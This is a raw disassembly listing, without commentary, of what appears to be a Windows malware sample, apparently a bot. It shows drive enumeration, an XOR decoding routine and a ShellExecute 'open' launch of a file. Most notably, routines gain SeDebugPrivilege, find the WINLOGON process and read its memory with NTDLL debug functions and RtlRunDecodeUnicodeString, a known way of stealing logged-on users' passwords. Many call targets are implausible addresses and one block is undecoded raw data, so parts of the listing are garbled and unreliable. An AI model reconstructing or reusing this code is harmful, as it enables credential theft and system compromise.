eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] nop call near ptr 2720000h cmp edi, ebx jnb short loc_4168B7 mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_4168A1 mov eax, [ebp+8] loc_4168A1: ; CODE XREF: ___:0041689Cj push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41CAB0 add esp, 0Ch loc_4168B7: ; CODE XREF: ___:00416893j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_4168C4 cmp edi, [ebp-3Ch] ja short loc_41690E loc_4168C4: ; CODE XREF: ___:004168BDj cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_4168DE shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437B58 jmp short loc_4168EE ; --------------------------------------------------------------------------- loc_4168DE: ; CODE XREF: ___:004168CAj shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437B30 loc_4168EE: ; CODE XREF: ___:004168DCj mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43C040 push eax call sub_41C006 add esp, 10h cmp [ebp+8], esi ja loc_416835 loc_41690E: ; CODE XREF: ___:004168C2j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416963 cmp edi, [ebp-3Ch] jz short loc_416963 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_437B04 push eax call sub_41C006 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 lea eax, [ebp-510h] push eax call sub_415CEE add esp, 28h loc_416963: ; CODE XREF: ___:00416918j ; ___:0041691Dj nop call near ptr 26A06B3h sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 2670000h push dword ptr [ebp-1Ch] call sub_41BA31 cmp [ebp-38h], esi pop ecx jz short loc_4169ED lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_4169ED push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_437ADC push eax call sub_41C006 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 lea eax, [ebp-510h] push eax call sub_415CEE add esp, 28h loc_4169ED: ; CODE XREF: ___:00416995j ; ___:004169A7j cmp [ebp-14h], esi jz loc_416C2D cmp dword ptr [ebp-44h], 1 jz loc_416AE8 mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276A8 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276A8 fstp qword ptr [esp] push offset unk_437AA4 push eax call sub_41C006 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416A68 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 add esp, 14h loc_416A68: ; CODE XREF: ___:00416A46j lea eax, [ebp-510h] push eax call sub_415CEE cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_416C2D push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4C9270 cmp [ebp-30h], esi jnz loc_416C2D lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_437A88 push eax call sub_41C006 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 lea eax, [ebp-510h] push eax call sub_415CEE add esp, 24h jmp loc_416C2D ; --------------------------------------------------------------------------- loc_416AE8: ; CODE XREF: ___:004169FAj mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276A8 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276A8 fstp qword ptr [esp] push offset unk_437A44 push eax call sub_41C006 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416B50 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 add esp, 14h loc_416B50: ; CODE XREF: ___:00416B2Ej lea eax, [ebp-510h] push eax call sub_415CEE push 10h lea eax, [ebp-10h] push esi push eax call sub_41BD10 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41BD10 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset byte_43B4B8 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 26703D3h cmp eax, edi jnz short loc_416BD2 call dword_4C925C call sub_418857 push esi nop call near ptr 77E75CB5h loc_416BD2: ; CODE XREF: ___:00416BBEj lea eax, [ebp-148h] push eax push offset unk_437A10 jmp short loc_416BEC ; --------------------------------------------------------------------------- loc_416BE0: ; CODE XREF: ___:00416799j lea eax, [ebp-248h] push eax push offset unk_4379E4 loc_416BEC: ; CODE XREF: ___:00416BDEj lea eax, [ebp-510h] push eax call sub_41C006 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_416C20 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409862 add esp, 14h loc_416C20: ; CODE XREF: ___:00416BFEj lea eax, [ebp-510h] push eax call sub_415CEE pop ecx loc_416C2D: ; CODE XREF: ___:004169F0j ; ___:00416A79j ... push dword ptr [ebp-18h] call dword_4C9338 push dword ptr [ebp-48h] call sub_40B6C9 pop ecx push esi nop call near ptr 26F0000h ; =============== S U B R O U T I N E ======================================= sub_416C46 proc near ; CODE XREF: ___:00416872p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416C62 loc_416C52: ; CODE XREF: sub_416C46+1Aj mov dl, byte_429090 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_416C52 locret_416C62: ; CODE XREF: sub_416C46+Aj retn sub_416C46 endp ; =============== S U B R O U T I N E ======================================= sub_416C63 proc near ; CODE XREF: sub_401AC7+57AEp ; sub_401AC7+58E0p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41DB5E pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416C63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C7D proc near ; CODE XREF: sub_410330+45Dp ; sub_410330+5F9p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D0F38 push 0 push edi call sub_41BD10 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416CA2: ; CODE XREF: sub_416C7D+5Bj ; sub_416C7D+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41DC20 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41DBB0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416CE0 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416CA2 mov byte ptr [esi], 2Ch inc esi jmp short loc_416CA2 ; --------------------------------------------------------------------------- loc_416CE0: ; CODE XREF: sub_416C7D+4Bj dec esi mov eax, edi loc_416CE3: ; CODE XREF: sub_416C7D+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416CF2 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416CE3 ; --------------------------------------------------------------------------- loc_416CF2: ; CODE XREF: sub_416C7D+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416C7D endp ; =============== S U B R O U T I N E ======================================= sub_416CFC proc near ; CODE XREF: sub_416EA8+51p ; sub_416EA8+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4C9364 sub eax, 0 jz short loc_416D3F dec eax jz short loc_416D39 dec eax dec eax jz short loc_416D33 dec eax jz short loc_416D2D dec eax jz short loc_416D27 dec eax jz short loc_416D21 mov eax, offset word_437BD4 retn ; --------------------------------------------------------------------------- loc_416D21: ; CODE XREF: sub_416CFC+1Dj mov eax, offset off_437BD0 retn ; --------------------------------------------------------------------------- loc_416D27: ; CODE XREF: sub_416CFC+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_416D2D: ; CODE XREF: sub_416CFC+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_416D33: ; CODE XREF: sub_416CFC+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_416D39: ; CODE XREF: sub_416CFC+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_416D3F: ; CODE XREF: sub_416CFC+Dj mov eax, offset aUnknown ; "Unknown" retn sub_416CFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D45 proc near ; CODE XREF: sub_416D8D+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4C91F4 test eax, eax jz short loc_416D7A lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416D7A: ; CODE XREF: sub_416D45+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_416D45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D8D proc near ; CODE XREF: sub_416EA8+17p ; sub_41AF2B+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_416D45 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416E65 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416E65 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416E65 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41DCA0 push edx push eax call sub_416C7D mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_41C100 add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41DCA0 push edx push eax call sub_416C7D push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41C100 add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41DCA0 push edx push eax call sub_416C7D push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41C100 add esp, 18h pop ebx jmp short loc_416E94 ; --------------------------------------------------------------------------- loc_416E65: ; CODE XREF: sub_416D8D+2Cj ; sub_416D8D+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41C006 lea eax, [ebp+var_118] push esi push eax call sub_41C006 lea eax, [ebp+var_98] push esi push eax call sub_41C006 add esp, 18h loc_416E94: ; CODE XREF: sub_416D8D+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416D8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EA8 proc near ; CODE XREF: sub_416F7A+17p ; sub_416F7A+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416D8D push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C7E0 add esp, 10h test eax, eax jnz short loc_416F1B push ebx push ebx call sub_416CFC pop ecx push eax push offset unk_437C24 lea eax, [ebp+var_500] push 200h push eax call sub_41C100 add esp, 14h jmp short loc_416F4F ; --------------------------------------------------------------------------- loc_416F1B: ; CODE XREF: sub_416EA8+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_416CFC pop ecx push eax push offset unk_437BE8 lea eax, [ebp+var_500] push 200h push eax call sub_41C100 add esp, 20h loc_416F4F: ; CODE XREF: sub_416EA8+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_500] push eax call sub_415CEE add esp, 18h pop edi pop esi pop ebx leave retn sub_416EA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F7A proc near ; CODE XREF: sub_401AC7+2518p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416F9B push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EA8 add esp, 10h jmp short loc_416FFC ; --------------------------------------------------------------------------- loc_416F9B: ; CODE XREF: sub_416F7A+9j push esi push edi push ebx push ebx call dword_4C926C lea esi, [eax+2] push esi call sub_41BC9B pop ecx mov edi, eax push edi push esi call dword_4C926C cmp [edi], bl mov esi, edi jz short loc_416FF3 loc_416FBF: ; CODE XREF: sub_416F7A+77j push offset aA_1 ; "A:\\" push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_416FE2 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EA8 add esp, 10h loc_416FE2: ; CODE XREF: sub_416F7A+54j push esi call sub_41B960 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416FBF loc_416FF3: ; CODE XREF: sub_416F7A+43j push edi call sub_41BA31 pop ecx pop edi pop esi loc_416FFC: ; CODE XREF: sub_416F7A+1Fj pop ebx pop ebp retn sub_416F7A endp ; --------------------------------------------------------------------------- byte_416FFF db 55h ; DATA XREF: sub_401AC7+67F5o dd 0EC81EC8Bh, 49Ch, 5308458Bh, 0A7B95756h, 8B000000h dd 64BD8DF0h, 0F3FFFFFDh, 9880C7A5h, 1000002h, 8D000000h dd 0FFFEEC85h, 2DE850FFh, 33000049h, 5BC80DBh, 0FFFFFEEBh dd 1475595Ch, 0FEEC858Dh, 0E850FFFFh, 4914h, 59C8859h dd 0FFFFFEEBh, 0FDE8858Dh, 6850FFFFh, 437C84h, 0FB64858Dh dd 68FFFFh, 50000002h, 508FE8h, 10C48300h, 75F85D39h, 858D5320h dd 0FFFFFB64h, 50F475FFh, 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h dd 27CCE8FFh, 0C483FFFFh, 0EC858D14h, 53FFFFFEh, 0E8858D50h dd 50FFFFFDh, 0FD68858Dh, 75FFFFFFh, 0B5FF50F4h, 0FFFFFD64h dd 5AE8h, 858D5000h, 0FFFFFB64h, 437C6468h, 37E85000h dd 8300004Fh, 5D3924C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF276Eh dd 8D14C483h, 0FFFB6485h, 0EBE850FFh, 0FFFFFFEBh, 0BEE8F075h dd 59FFFF45h, 0EDE85359h, 90022D8Eh, 555B5E5Fh, 0EC81EC8Bh dd 54Ch, 0BE575653h, 104h, 8D1875FFh, 0FFFDB885h, 7CC868FFh dd 50560043h, 4FC3E8h, 303D8B00h, 83004271h, 858D10C4h dd 0FFFFFEBCh, 0B8858D50h, 50FFFFFDh, 0F883D7FFh, 0FC4589FFh dd 429AC4BBh, 0F6717400h, 0FFFEBC85h, 547410FFh, 0FEE8BD80h dd 752EFFFFh, 0E9BD8012h, 0FFFFFEh, 0BD804274h, 0FFFFFEE9h dd 8D39742Eh, 0FFFEE885h, 858D50FFh, 0FFFFFCB4h, 531875FFh dd 61E85056h, 0FF00004Fh, 858D1C75h, 0FFFFFCB4h, 1475FF50h dd 0FF1075FFh, 75FF0C75h, 0FF5DE808h, 0C483FFFFh, 1C45892Ch dd 0FEBC858Dh, 0FF50FFFFh, 0E890FC75h, 2368E30h, 8F75C085h dd 90FC75FFh, 1A8E23E8h, 1475FF02h, 0FDB8858Dh, 75FFFFFFh dd 50565318h, 4F0FE8h, 14C48300h, 0FEBC858Dh, 8D50FFFFh dd 0FFFDB885h, 0D7FF50FFh, 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h dd 1C45FFFFh, 0B4858D50h, 0FFFFFFFAh, 0AC681875h, 6800437Ch dd 200h, 4ED2E850h, 16A0000h, 0FAB4858Dh, 75FFFFFFh, 75FF5010h dd 875FF0Ch, 0FF261DE8h, 28C483FFh, 0FEBC858Dh, 5650FFFFh dd 8DAAE890h, 0C0850236h, 9056B175h, 1A8D9FE8h, 1C458B02h dd 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417269 proc near ; DATA XREF: sub_401AC7+1C62o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41ADDD cmp eax, esi mov [ebp+var_4], eax jz short loc_4172A8 cmp eax, 2 jz short loc_4172A8 push offset unk_437EA0 jmp loc_4173E7 ; --------------------------------------------------------------------------- loc_4172A8: ; CODE XREF: sub_417269+2Ej ; sub_417269+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B3F pop ecx test eax, eax pop ecx jz loc_4173E2 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call near ptr 26C0000h nop mov esi, dword_4270CC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D217C, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D2170, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D2380, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D2178, eax call esi mov dword_4D2174, eax call sub_41743B test eax, eax mov [ebp+arg_0], eax jz loc_4173B5 mov esi, dword_427154 mov edi, 400h mov ebx, offset dword_4D1170 push edi push ebx push offset off_437DDC call esi push edi mov edi, offset dword_4D1970 push edi push offset off_437DC4 call esi cmp [ebp+var_4], 1 push offset dword_4D2388 push [ebp+arg_0] jnz short loc_417361 call sub_4175C4 jmp short loc_417366 ; --------------------------------------------------------------------------- loc_417361: ; CODE XREF: sub_417269+EFj call sub_41776B loc_417366: ; CODE XREF: sub_417269+F6j pop ecx test eax, eax pop ecx jz short loc_4173AE cmp dword_4D2388, 0 jnz short loc_417395 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_437D68 push 200h push eax call sub_41C100 add esp, 18h jmp short loc_4173C8 ; --------------------------------------------------------------------------- loc_417395: ; CODE XREF: sub_417269+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_4173A5 call sub_4178A1 jmp short loc_4173AA ; --------------------------------------------------------------------------- loc_4173A5: ; CODE XREF: sub_417269+133j call sub_417938 loc_4173AA: ; CODE XREF: sub_417269+13Aj pop ecx push eax jmp short loc_4173BA ; --------------------------------------------------------------------------- loc_4173AE: ; CODE XREF: sub_417269+101j push offset unk_437D30 jmp short loc_4173BA ; --------------------------------------------------------------------------- loc_4173B5: ; CODE XREF: sub_417269+B6j push offset unk_437D04 loc_4173BA: ; CODE XREF: sub_417269+143j ; sub_417269+14Aj lea eax, [ebp+var_29C] push eax call sub_41C006 pop ecx pop ecx loc_4173C8: ; CODE XREF: sub_417269+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B3F pop ecx pop ecx push [ebp+var_8] nop call near ptr 27C07A1h pop ebx jmp short loc_4173F5 ; --------------------------------------------------------------------------- loc_4173E2: ; CODE XREF: sub_417269+4Ej push offset unk_437CD0 loc_4173E7: ; CODE XREF: sub_417269+3Aj lea eax, [ebp+var_29C] push eax call sub_41C006 pop ecx pop ecx loc_4173F5: ; CODE XREF: sub_417269+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_41741C push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409862 add esp, 14h loc_41741C: ; CODE XREF: sub_417269+191j lea eax, [ebp+var_29C] push eax call sub_415CEE push [ebp+var_18] call sub_40B6C9 pop ecx pop ecx push esi nop call near ptr 26F0000h pop edi pop esi sub_417269 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41743B proc near ; CODE XREF: sub_417269+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427160 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_42715C push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D217C push ebp push 0 call esi push eax nop call near ptr 27D05CAh push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D217C test eax, eax jnz short loc_417528 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_417528 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_417528 loc_4174C4: ; CODE XREF: sub_41743B+EBj cmp word ptr [ebx+8], 5 jnz short loc_41751B push 0 push 0 call dword_4D2170 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D2380 test eax, eax jnz short loc_41750C mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41DD4A pop ecx push eax call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_417540 loc_41750C: ; CODE XREF: sub_41743B+AAj test edi, edi jz short loc_417517 push edi call dword_4D2178 loc_417517: ; CODE XREF: sub_41743B+D3j mov eax, [esp+28h+var_10] loc_41751B: ; CODE XREF: sub_41743B+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_4174C4 loc_417528: ; CODE XREF: sub_41743B+6Dj ; sub_41743B+7Aj ... xor edi, edi loc_41752A: ; CODE XREF: sub_41743B+17Dj push ebp push 0 call esi push eax call near ptr 27D05CAh nop mov eax, edi loc_417538: ; CODE XREF: sub_41743B+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_417540: ; CODE XREF: sub_41743B+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_4175A9 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417556: ; CODE XREF: sub_41743B+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41DD4A pop ecx push eax call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_4175BD push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41DD4A pop ecx push eax call sub_41C080 pop ecx test eax, eax pop ecx jnz short loc_41759B mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41759B: ; CODE XREF: sub_41743B+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417556 loc_4175A9: ; CODE XREF: sub_41743B+10Fj test edi, edi jz short loc_4175B4 push edi call dword_4D2178 loc_4175B4: ; CODE XREF: sub_41743B+170j mov edi, [esp+28h+var_4] jmp loc_41752A ; --------------------------------------------------------------------------- loc_4175BD: ; CODE XREF: sub_41743B+13Cj xor eax, eax jmp loc_417538 sub_41743B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175C4 proc near ; CODE XREF: sub_417269+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 26902C1h cmp eax, esi mov [ebp+var_4], eax jnz short loc_4175ED xor eax, eax jmp loc_417768 ; --------------------------------------------------------------------------- loc_4175ED: ; CODE XREF: sub_4175C4+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27F02B1h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427160 push 8 call esi mov edi, dword_42715C push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427168 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_41763D xor esi, esi jmp loc_41775B ; --------------------------------------------------------------------------- loc_41763D: ; CODE XREF: sub_4175C4+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call near ptr 27E0CA6h nop test eax, eax jz loc_41774A mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_41774A test [ebp+var_2B], 1 jnz loc_41774A push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_41774A loc_4176A0: ; CODE XREF: sub_4175C4+112j push edi push offset dword_4D1170 call sub_4266CB pop ecx test eax, eax pop ecx jnz short loc_4176C8 lea eax, [edi+200h] push eax push offset dword_4D1970 call sub_4266CB pop ecx test eax, eax pop ecx jz short loc_4176D8 loc_4176C8: ; CODE XREF: sub_4175C4+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_41774A jmp short loc_4176A0 ; --------------------------------------------------------------------------- loc_4176D8: ; CODE XREF: sub_4175C4+102j test edi, edi jz short loc_41774A lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 277058Ah test eax, eax jz short loc_417713 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 2770000h test eax, eax jz short loc_417713 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_417713: ; CODE XREF: sub_4175C4+12Bj ; sub_4175C4+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D2394, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D238C, eax mov dword_4D2390, edi loc_41774A: ; CODE XREF: sub_4175C4+90j ; sub_4175C4+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 27D05CAh mov esi, [ebp+var_10] loc_41775B: ; CODE XREF: sub_4175C4+74j 